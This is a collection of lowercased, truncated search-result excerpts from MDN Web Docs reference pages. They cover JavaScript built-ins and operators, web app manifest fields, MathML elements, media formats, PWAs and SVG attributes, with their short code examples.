... "" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification.
decodeURI() - JavaScript
exceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid character sequences.
... examples decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
decodeURIComponent() - JavaScript
exceptions throws an urierror ("malformed uri sequence") exception when used wrongly.
... examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a url decodeuricomponent cannot be used directly to parse query parameters from a url.
unescape() - JavaScript
warning: although unescape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
... examples using unescape unescape('abc123'); // "abc123" unescape('%e4%f6%fc'); // "äöü" unescape('%u0107'); // "ć" specifications specification ecmascript (ecma-262)the definition of 'unescape' in that specification.
Standard built-in objects - JavaScript
the term "global objects" (or standard built-in objects) here is not to be confused with the global object.
... here, "global objects" refer to objects in the global scope.
Inequality (!=) - JavaScript
like the equality operator, the inequality operator will attempt to convert and compare operands of different types: 3 != "3"; // false to prevent this, and require that different types are considered to be different, use the strict inequality operator instead: 3 !== "3"; // true examples comparison with no type conversion 1 != 2; // true "hello" != "hola"; // true 1 != 1; // false "hello" != "hello"; // false comparison with type conversion "1" != 1; // false 1 != "1";...
...e; // false 0 != null; // true 0 != undefined; // true 0 != !!null; // false, look at logical not operator 0 != !!undefined; // false, look at logical not operator null != undefined; // false const number1 = new number(3); const number2 = new number(3); number1 != 3; // false number1 != number2; // true comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 != object2 // true object2 != object2 // false specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Right shift (>>) - JavaScript
hence the name "sign-propagating".
...hence the name "sign-propagating".
Strict equality (===) - JavaScript
examples comparing operands of the same type console.log("hello" === "hello"); // true console.log("hello" === "hola"); // false console.log(3 === 3); // true console.log(3 === 4); // false console.log(true === true); // true console.log(true === false); // false console.log(null === null); // true comparing operands of different types console.log("3" === 3); // false console.log(tru...
...e === 1); // false console.log(null === undefined); // false comparing objects const object1 = { name: "hello" } const object2 = { name: "hello" } console.log(object1 === object2); // false console.log(object1 === object1); // true specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Strict inequality (!==) - JavaScript
like the strict equality operator, the strict inequality operator will always consider operands of different types to be different: 3 !== "3"; // true examples comparing operands of the same type console.log("hello" !== "hello"); // false console.log("hello" !== "hola"); // true console.log(3 !== 3); // false console.log(3 !== 4); // true console.log(true !== true); // false console.log(true !== false); // true console.log(null !== null); // false comparing operands of di...
...fferent types console.log("3" !== 3); // true console.log(true !== 1); // true console.log(null !== undefined); // true comparing objects const object1 = { name: "hello" } const object2 = { name: "hello" } console.log(object1 !== object2); // true console.log(object1 !== object1); // false specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
new.target - JavaScript
function foo() { if (!new.target) { throw 'foo() must be called with new' } console.log('foo instantiated with new') } new foo() // logs "foo instantiated with new" foo() // throws "foo() must be called with new" new.target in constructors in class constructors, new.target refers to the constructor that was directly invoked by new.
... class a { constructor() { console.log(new.target.name) } } class b extends a { constructor() { super() } } let a = new a() // logs "a" let b = new b() // logs "b" class c { constructor() { console.log(new.target) } } class d extends c { constructor() { super() } } let c = new c() // logs class c{constructor(){console.log(new.target);}} let d = new d() // logs class d extends c{constructor(){super();}} thus from the above example of class c and d, it seems that new.target points to the class definition of class which is initialized.
super - JavaScript
} } var y = new y(); y.foo(); // typeerror: "prop" is read-only console.log(y.prop); // 1 using super.prop in object literals super can also be used in the object initializer / literal notation.
... var obj1 = { method1() { console.log('method 1'); } } var obj2 = { method2() { super.method1(); } } object.setprototypeof(obj2, obj1); obj2.method2(); // logs "method 1" specifications specification ecmascript (ecma-262)the definition of 'super' in that specification.
const - JavaScript
all the considerations about the "temporal dead zone" apply to both let and const.
...my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable.
function* - JavaScript
console.log(2, yield); console.log(3, yield); } var gen = loggenerator(); // the first call of next executes from the start of the function // until the first yield statement gen.next(); // 0 gen.next('pretzel'); // 1 pretzel gen.next('california'); // 2 california gen.next('mayonnaise'); // 3 mayonnaise return statement in a generator function* yieldandreturn() { yield "y"; return "r"; yield "unreachable"; } var gen = yieldandreturn() console.log(gen.next()); // { value: "y", done: false } console.log(gen.next()); // { value: "r", done: true } console.log(gen.next()); // { value: undefined, done: true } generator as an object property const someobj = { *generator () { yield 'a'; yield 'b'; } } const gen = someobj.generator() console.log(gen.
...// { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } console.log(array.from(new foo)); // [ 1, 2 ] console.log(array.from(someobj)); // [ 'a', 'b' ] generators are not constructable function* f() {} var obj = new f; // throws "typeerror: f is not a constructor generator defined in an expression const foo = function* () { yield 10; yield 20; }; const bar = foo(); console.log(bar.next()); // {value: 10, done: false} generator example function* powers(n){ //endless loop to generate for(let current =n;; current *= n){ yield current; } } for(let power of powers(2)){ //controlling gener...
JavaScript typed arrays - JavaScript
we can confirm that it is indeed 16 bytes long, and that's about it: if (buffer.bytelength === 16) { console.log("yes, it's 16 bytes."); } else { console.log("oh no, it's the wrong size!"); } before we can really work with this buffer, we need to create a view.
...consider this: int16view[0] = 32; console.log('entry 0 in the 32-bit array is now ' + int32view[0]); the output from this is "entry 0 in the 32-bit array is now 32".
categories - Web app manifests
note: categories values are lower-cased by the stores and catalogs before processing, so "news" and "news" are treated as the same value.
... example "categories": ["books", "education", "medical"] specification specification status comment feedback web app manifestthe definition of 'categories' in that specification.
start_url - Web app manifests
examples absolute url "start_url": "https://example.com" relative url if the url is relative, the manifest url is used as the base url to resolve it.
... "start_url": "../startpoint.html" specification specification status comment feedback web app manifestthe definition of 'start_url' in that specification.
MathML attribute reference - MathML
the default value is "&quot;".
...the default value is "&quot;".
<math> - MathML
WebMathMLElementmath
possible values are: display (which has the same effect as display="block") and inline.
...tml5</title> </head> <body> <math> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo>=</mo> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </math> </body> </html> xhtml notation <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1 plus mathml 2.0//en" "http://www.w3.org/math/dtd/mathml2/xhtml-math11-f.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>mathml in xhtml</title> </head> <body> <math xmlns="http://www.w3.org/1998/math/mathml"> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> ...
<mi> - MathML
WebMathMLElementmi
that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
...le bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mi> y </mi> <mi> sin </mi> <mi mathvariant="monospace"> x </mi> <mi mathvariant="bold"> &pi; </mi> </math> specifications specification status comment mathml 3.0the definition of 'mi' in that specification.
<mn> - MathML
WebMathMLElementmn
however, it is also allowed to have arbitrary text in it which is actually a numeric quantity, for example "eleven".
...that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
<mstyle> - MathML
WebMathMLElementmstyle
this attribute accepts a non-negative integer, as well as a "+" or a "-" sign, which increments or decrements the current value.
... <math> <mstyle displaystyle="true" mathcolor="teal"> <mrow> <munderover> <mo stretchy="true" form="prefix">&sum;</mo> <mrow> <mi>i</mi> <mo form="infix">=</mo> <mn>1</mn> </mrow> <mi>n</mi> </munderover> <mstyle displaystyle="true"> <mfrac> <mn>1</mn> <mi>n</mi> </mfrac> </mstyle> </mrow> </ms...
Web audio codec guide - Web media technologies
that having been said, it's been in use for decades, is "good enough" for voice applications, and is vital if you may need to interface with a standard telephone network.
... when mp3-format audio is stored inside an mpeg container, the resulting file is also referred to as just an "mp3 file" or simply "mp3." files with the ubiquitous .mp3 extension are stored in what is perhaps the most widely distributed audio file format in the world, which is in large part responsible for the digital audio revolution of the late 1990s and early 2000s.
Media container formats (file types) - Web media technologies
the extension for these files, .mov, comes from the fact that the format was initially used for movies and was usually called the "quicktime movie" format.
...if neither of those can be played, the text "this browser does not support the html5 video element." is presented.
Web Performance
user timing api create application specific timestamps using the user timing api's "mark" and "measure" entry types - that are part of the browser's performance timeline.
... lazy-loading javascript with dynamic imports when developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport.
Media - Progressive web apps (PWAs)
ple these rules specify styles for a button that changes dynamically as the user interacts with it: .green-button { background-color:#cec; color:#black; border:2px outset #cec; padding: 5px 10px; } .green-button[disabled] { background-color:#cdc; color:#777; } .green-button:active, .green-button.active { border-style: inset; } <table> <tbody> <tr> <td><button class="green-button" disabled>click me</button></td> <td><button class="green-button">click me</button></td> <td><button class="green-button active">click me</button></td> </tr> <tr style="line-height:25%;"> <td>&nbsp;</td> </tr> <tr style="font-style:italic;"> <td>disabled</td> <td>normal</td> <td>active</td> </tr> </tbody> </table> live sample a fully functional button...
...copy and paste the content from here: <!doctype html> <html> <head> <title>print sample</title> <link rel="stylesheet" href="style4.css"> </head> <body> <h1>section a</h1> <p>this is the first section...</p> <h1>section b</h1> <p>this is the second section...</p> <div id="print-head"> heading for paged media </div> <div id="print-foot"> page: </div> </body> </html> make a new stylesheet, style4.css.
Progressive web apps (PWAs)
documentation <-- the temporary automatic list below will be replaced soon --> add to home screenadd to home screen (or a2hs for short) is a feature available in modern browsers that allows a user to "install" a web app, ie.
...this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it.how to make pwas installablein this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.how to make pwas re-engageable using notifications and pushhaving the ability to cache the contents of an app to work offline is a great feature.
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
it's almost identical in usage to html's lang, but in conforming xml 1.0 documents, it does not allow the use of a null attribute value (xml:lang="") to indicate an unknown language.
... instead, use xml:lang="und".
baseFrequency - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default val...
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </s...
clipPathUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <clippath> html,body,svg { height:100% } <svg viewbox="0 0 100 100"> <clippath id="myclip1" clippathunits="userspaceonuse"> <circle cx="50" cy="50" r="35" /> </clippath> <clippath id="myclip2" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".35" /> </clippath> <!-- some reference rect to materialized to clip path --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are clipped with usespaceonuse units ...
...--> <use clip-path="url(#myclip1)" xlink:href="#r1" fill="red" /> <use clip-path="url(#myclip1)" xlink:href="#r2" fill="red" /> <use clip-path="url(#myclip1)" xlink:href="#r3" fill="red" /> <!-- the last rect is clipped with objectboundingbox units --> <use clip-path="url(#myclip2)" xlink:href="#r4" fill="red" /> </svg> clippath for <clippath>, clippathunits define the coordinate system in use for the content of the element.
color-rendering - SVG: Scalable Vector Graphics
effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="50%" col...
...or-rendering="optimizequality">quality-optimized</text> <circle cx="100" cy="100" r="100" color-rendering="optimizespeed" fill="url(#gradient)" style="transform: translatex(240px);" /> <text x="290" y="50%" color-rendering="optimizespeed">speed-optimized</text> </svg> usage notes value auto | optimizespeed | optimizequality default value auto animatable yes auto indicates that the user agent shall make appropriate tradeoffs to balance speed and quality, but quality shall be given more importance than speed.
diffuseConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fediffuselighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x=...
..."60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'diffuseconstant' in that specification.
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> </filter> <image xlink:href="//developer.mozilla.org...
.../files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <number> default value sum of all values in kernelmatrix or 1 if sum is 0 animatable yes <number> this value defines the divisor.
exponent - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransf...
...er> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="5"/> <fefuncg type="gamma" exponent="5"/> <fefuncb type="gamma" exponent="5"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma, this value specifies the exponent of the gamma function spe...
fill-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"> <!-- default fill opacity: 1 --> <circle cx="50" cy="50" r="40" /> <!-- fill opacity as a number --> <circle cx="150" cy="50" r="40" fill-opacity="0.7" /> <!-- fill opacity as a percentage --> <circle cx="250" cy="50" r="40" fill-opacity="50%" /> <!-- fill opacity as a css property --> <circle cx="350" cy="50" ...
...r="40" style="fill-opacity: .25;" /> </svg> usage notes value [0-1] | <percentage> default value 1 animatable yes note: svg2 introduces percentage values for fill-opacity, however, it is not widely supported yet (see browser compatibility below) as a consequence, it is best practices to set opacity with a value in the range [0-1].
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple color fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradient)" /...
... --> <circle cx="250" cy="50" r="20"> <animate attributetype="xml" attributename="r" from="0" to="40" dur="5s" fill="freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
flood-color - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="skyblue" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood...
...2); transform: translatex(220px);" /> </svg> usage notes value color initial value black animatable yes specifications specification status comment filter effects module level 1the definition of 'flood-color' in that specification.
flood-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="seagreen" flood-opacity="1" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" wi...
...dth="200" height="200" style="filter: url(#flood2); transform: translatex(220px);" /> </svg> usage notes value <alpha-value> initial value 1 animatable yes <alpha-value> a number or percentage indicating the opacity value to use across the current filter primitive subregion.
gradientTransform - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx=...
..."100" cy="100" r="100" fx="100" fy="100" gradienttransform="skewx(20) translate(-35, 0)"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <rect x="0" y="0" width="200" height="200" fill="url(#gradient1)" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient2)" style="transform: translatex(220px);" /> </svg> usage notes default value identity transform value <transform-list> animatable yes <transform-list> a list of transformation functions specifying some additional transformation from the gradient coordinate system onto the target coordinate system.
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... value <url> default value none animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image href="/files/2917/fxlogo.png" x="0" y="0" height="100" width="100"/> </svg> lineargradient for <lineargradient>, href defines url referring to a template gradient element; to be valid, the reference must be to a different <lineargradient> or <radialgradient> element.
intercept - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" inter...
...cept="0"/> <fefuncb type="linear" intercept="0"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0.3"/> <fefuncg type="linear" intercept="0.1"/> <fefuncb type="linear" intercept="0.8"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification stat...
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="...
...0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k1' in that specification.
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="...
...0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k2' in that specification.
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="...
...0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k3' in that specification.
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x...
...="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k4' in that specification.
kernelMatrix - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_onl...
...y_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <list of numbers> default value none animatable yes <list of numbers> the list of <number>s that make up the kernel matrix for the convolution.
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
the glyph was meant to be used if the xml:lang attribute exactly matched one of the languages given in the value of this parameter, or if the xml:lang attribute exactly equaled a prefix of one of the languages given in the value of this parameter such that the first tag character following the prefix was "-".
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
lighting-color - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuseli...
...ghting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value color default value white animatable yes specifications specification status comment filter effects module level 1the definition of 'lighting-color' in that specification.
limitingConeAngle - SVG: Scalable Vector Graphics
